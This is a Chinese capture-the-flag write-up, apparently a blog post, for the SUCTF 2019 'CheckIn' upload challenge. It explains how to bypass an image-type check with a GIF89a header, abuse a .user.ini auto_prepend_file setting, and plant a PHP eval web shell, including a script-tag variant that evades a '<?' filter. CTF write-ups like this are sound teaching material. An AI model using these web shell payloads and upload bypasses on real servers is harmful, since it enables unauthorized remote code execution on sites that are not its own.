[SUCTF 2019]CheckIn

0x00

打开web如下,可以看到这是一道上传的题

新建一个文件命名为3.php,进行上传,得到如下结果

发现被过滤了,进行模糊测试,发现php相关拓展名的都已被过滤掉,但是上传其他类型文件时显示不为jpg类型文件(如下),可以知道使用的是exif_imagetype函数{通过文件幻数(文件头)来判断文件类型}进行判断

通过谷歌的插件,发现该站点使用的是nginx

所以使用.htaccess绕过行不通,因为它是Apache的配置文件
这里我们采用.user.ini来绕过--》.user.ini
绕过exif_imagetype函数的检查,我们可以通过添加jpg文件的文件头(GIF89a)
创建文件.user.ini内容如下
GIF89a
auto_prepend_file=01.jpg
## auto_prepend_file将01.jpg文件的内容添加到当前目录下的php文件的开头
上传得到结果如下

我们继续创建01.jpg文件内容如下
GIF89a
<?php @eval($_POST['pass']);?>

上传得到结果如下,发现对内容也进行了过滤,过滤了<?

我们可以使用如下来绕过

GIF89a
<script language="php"> @eval($_POST['pass']);</script>

重新上传,得到结果

我们直接访问上传后地址的index.php,可以看到01.jpg中的内容已经被包含

使用蚁剑进行连接,连接成功

获取flag

0x01 总结

主要考察了如下几点:

  • 1.exif_imagetype函数绕过
exif_imagetype函数通过检查文件幻数(文件头)来判断是不是jpg格式文件
  • 2..user.ini上传绕过的使用
参数文章:.user.ini
  • 3.内容过滤<?绕过
<?php @eval($_POST['pass']); ?>
## 替换为如下
<script language="php">@eval($_POST['pass']);</script>
posted @ 2020-09-08 10:37  she11s  阅读(235)  评论(0编辑  收藏  举报